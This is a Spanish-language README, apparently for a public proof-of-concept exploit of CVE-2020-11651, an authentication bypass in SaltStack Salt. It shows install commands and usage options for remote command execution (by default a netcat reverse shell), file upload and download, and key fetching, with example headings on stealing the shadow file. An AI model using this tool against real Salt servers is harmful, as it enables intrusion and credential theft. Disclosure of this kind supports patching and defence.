CVE-2020-11651

Se descubrió un problema en SaltStack Salt anterior a 2019.2.4 y 3000 anterior a 3000.2. La clase ClearFuncs del proceso salt-master no valida correctamente las llamadas a métodos. Esto permite que un usuario remoto acceda a algunos métodos sin autenticación. Estos métodos pueden ser utilizados para recuperar tokens de usuario del salt master y/o ejecutar comandos arbitrarios en salt minions.

Detalles

Parches para versiones de salt no soportadas

Instalación

git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py

Uso

$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]

CVE-2020-11651 PoC

optional arguments:
  -h, --help            show this help message and exit
  --host HOST, -t HOST
  --port PORT, -p PORT
  --execute COMMAND, -e COMMAND
                        Comando a ejecutar. Por defecto: /bin/sh (usa netcat para reverse shell)
  --upload src dest, -u src dest
                        Subir un archivo
  --download src dest, -d src dest
                        Descargar un archivo
  --minions             Enviar comando a todos los minions en el master
  --quiet, -q           Habilitar modo silencioso
  --fetch-key-only      Solo obtener la clave

CVE-2020-11651

Más Populares

Ejemplo

Descargar archivo shadow

Ejecutar una reverse shell

Obtener la clave